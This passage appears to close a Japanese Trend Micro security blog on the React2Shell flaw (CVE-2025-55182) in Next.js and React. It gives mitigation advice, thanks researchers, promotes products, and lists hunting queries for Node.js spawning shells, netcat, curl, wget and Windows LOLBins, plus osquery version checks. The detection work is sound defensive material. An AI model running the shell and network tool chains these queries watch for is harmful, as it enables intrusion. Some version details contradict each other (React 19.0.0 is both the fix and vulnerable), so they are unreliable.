    • CVE-2025-55182の影響を受けるため、修正版(Next.js >= 15.1.3、React >= 19.0.0)へアップグレードする
    • セクション6の検知ルールを適用する
    • セクション3にあるIOCを基にインフラを確認する
    • セクション5にある通り、使用前に「セキュリティツール」を必ず検証する
  • 長期的な検討事項:
    • すべてのServer Actionエンドポイントの監査
    • 攻撃対象領域を最小化するためEdge Runtimeの利用を検討する
    • __proto__ブロッキングに限定しない、適切なWAFルールによる多層防御
    • 新たなPoCバリエーションの継続的監視

まとめ

CVE-2025-55182は、ウェブセキュリティの状況において重要な転換点となる脆弱性です。React Server Componentsを主要なプラットフォームが採用している現状では、この脆弱性は現代のウェブアプリケーションの相当な割合に影響を与えます。

React2Shellがもたらした膨大なテレメトリを解析し続けた、トレンドマイクロのレスポンスチーム、リサーチチーム、インシデントレスポンスチームに感謝申し上げます。

また、トレンドマイクロ製品の防御が機能するよう尽力した以下の研究者にも深く感謝いたします。

  • Kelly Lee
  • Ayman Ben-naceur

さらに、この2週間にわたり貴重な知見を提供してくださった広範なサイバーセキュリティコミュニティの皆様にも御礼申し上げます。React2Shellが生んだ活発な議論は、Log4Jの例に匹敵するものであり、この業界で働く意義を改めて感じさせます。

最後に、React2Shellの発見、適切な情報公開プロセス、CVE-2025-55182に関する迅速な更新を続けてくださったLachlan Davidson氏に特別な謝意を表します。

Trend Vision One™によるプロアクティブセキュリティ

Trend Vision One™は、AIを活用した唯一のエンタープライズ向けサイバーセキュリティプラットフォームであり、サイバーリスクの可視化とセキュリティオペレーションを統合し、オンプレミス、ハイブリッド、マルチクラウド環境全体に対して強固な多層防御を提供します。

脆弱性悪用からお客様を保護するために利用可能なトレンドマイクロのソリューションに関する情報は、こちらのナレッジベースで確認できます。

Trend Vision One™ のスレットインテリジェンス

進化し続ける脅威に先回りして対応するために、トレンドマイクロのお客様はTrend Vision One™ Threat Insightsにアクセスできます。ここでは、新たに出現する脅威や攻撃者に関する最新の知見が、トレンドマイクロのリサーチから提供されています。

新たな脅威:React2Shell in the Wild (CVE-2025-55182): Payloads, Active Campaigns, and IoCs

ハンティングクエリ

Trend Vision Oneのお客様は、Search Appを利用して、本稿で取り上げた悪意あるインジケータ(IoC)を自社環境内のデータと照合し、ハンティングを実施できます。

Linux向けハンティングクエリ:

NodeJSがネットワークやシェルツールを起動しているケース - Linux

eventSubId:2 AND (parentFilePath:"*/node" AND (processFilePath:"*/sh" OR processFilePath:"*/bash" OR processFilePath:"*/dash" OR processFilePath:"*/busybox")) AND (objectFilePath:"*/bash" OR objectFilePath:"*/dash" OR objectFilePath:"*/sh" OR objectFilePath:"*/zsh" OR objectFilePath:"*/ksh" OR objectFilePath:"*/csh" OR objectFilePath:"*/nc" OR objectFilePath:"*/netcat" OR objectFilePath:"*/socat" OR objectFilePath:"*/curl" OR objectFilePath:"*/wget" OR objectFilePath:"*/ssh" OR objectFilePath:"*/scp" OR objectFilePath:"*/rsync" OR objectFilePath:"*/ncat")

NodeJSがファイルアクセスやスクリプトツールを起動しているケース - Linux

eventSubId:2 AND (parentFilePath:"/node" AND (processFilePath:"/sh" OR processFilePath:"/bash" OR processFilePath:"/dash" OR processFilePath:"/busybox")) AND (objectFilePath:"/cat" OR objectFilePath:"/head" OR objectFilePath:"/tail" OR objectFilePath:"/more" OR objectFilePath:"/less" OR objectFilePath:"/base64" OR objectFilePath:"/perl" OR objectFilePath:"/python" OR objectFilePath:"/ruby" OR objectFilePath:"/node" OR objectFilePath:"/java" OR objectFilePath:"/nohup" OR objectFilePath:"/screen" OR objectFilePath:"*/busybox")

NodeJSがファイルアクセスやスクリプトツールを起動しているケース – Linux

eventSubId:2 AND (parentFilePath:"/node" AND (processFilePath:"/sh" OR processFilePath:"/bash" OR processFilePath:"/dash" OR processFilePath:"/busybox")) AND (objectFilePath:"/cat" OR objectFilePath:"/head" OR objectFilePath:"/tail" OR objectFilePath:"/more" OR objectFilePath:"/less" OR objectFilePath:"/base64" OR objectFilePath:"/perl" OR objectFilePath:"/python" OR objectFilePath:"/ruby" OR objectFilePath:"/node" OR objectFilePath:"/java" OR objectFilePath:"/nohup" OR objectFilePath:"/screen" OR objectFilePath:"*/busybox")

注: これらのクエリは誤検知を含む可能性があります。環境ごとに通常のNodeプロセスチェーンがどのようなものかを確認する必要があります。

Windows向けハンティングクエリ:

NodeJSが実行系やスクリプトツールを起動しているケース - Windows

eventSubId:2 AND parentFilePath:"*\node.exe" AND (processFilePath:"*\cmd.exe" OR processFilePath:"*\powershell.exe" OR processFilePath:"*\powershell_ise.exe" OR processFilePath:"*\pwsh.exe" OR processFilePath:"*\wscript.exe" OR processFilePath:"*\cscript.exe" OR processFilePath:"*\mshta.exe" OR processFilePath:"*\rundll32.exe" OR processFilePath:"*\regsvr32.exe" OR processFilePath:"*\msiexec.exe" OR processFilePath:"*\wmic.exe" OR processFilePath:"*\reg.exe" OR processFilePath:"*\schtasks.exe" OR processFilePath:"*\sc.exe" OR processFilePath:"*\certutil.exe" OR processFilePath:"*\bitsadmin.exe" OR processFilePath:"*\curl.exe" OR processFilePath:"*\wget.exe" OR processFilePath:"*\ftp.exe" OR processFilePath:"*\tftp.exe")

NodeJSが偵察系やネットワークツールを起動しているケース - Windows

eventSubId:2 AND parentFilePath:"*\node.exe" AND (processFilePath:"*\whoami.exe" OR processFilePath:"*\quser.exe" OR processFilePath:"*\hostname.exe" OR processFilePath:"*\systeminfo.exe" OR processFilePath:"*\ipconfig.exe" OR processFilePath:"*\nslookup.exe" OR processFilePath:"*\netstat.exe" OR processFilePath:"*\ping.exe" OR processFilePath:"*\nltest.exe" OR processFilePath:"*\tasklist.exe" OR processFilePath:"*\taskkill.exe" OR processFilePath:"*\net.exe" OR processFilePath:"*\net1.exe" OR processFilePath:"*\findstr.exe")

注: これらのクエリは誤検知を含む可能性があります。環境ごとに通常のNodeプロセスチェーンがどのようなものかを確認する必要があります。

Trend Vision One™ Forensics

Trend Vision One™ Forensicsは、エンドポイントからのデジタル証拠収集を自動化し、収集したデータをワークスペース内で整理し、YARAおよびosqueryを用いてエンドポイントを迅速にトリアージします。

脆弱なNextJSバージョンがデプロイされているbpmパッケージの確認

SELECT name, version, directory, pathFROM npm_packagesWHERE name = 'next'AND ( (version LIKE '15.%' AND version < '15.1.3') OR version LIKE '16.%' OR version >= '14.3.0-canary.77');

脆弱なReactJSバージョンがデプロイされているnpmパッケージの確認

SELECT name, version, directory, path, description FROM npm_packagesWHERE name IN ( 'react', 'react-dom', 'react-server-dom-webpack', 'react-server-dom-parcel', 'react-server-dom-turbopack' )AND ( version = '19.0.0' OR version IN ('19.1.0', '19.1.1', '19.2.0') );

侵入の痕跡(Indicators of Compromise: IoC)

本稿に関連する侵入の痕跡はこちらで確認できます。

参考記事:

CVE-2025-55182: React2Shell Analysis, Proof-of-Concept Chaos, and In-the-Wild Exploitation

By: Peter Girnus, Deep Patel, Jack Walsh, Lucas Silva, Ashish Verma

翻訳:与那城 務(Platform Marketing, Trend Micro™ Research)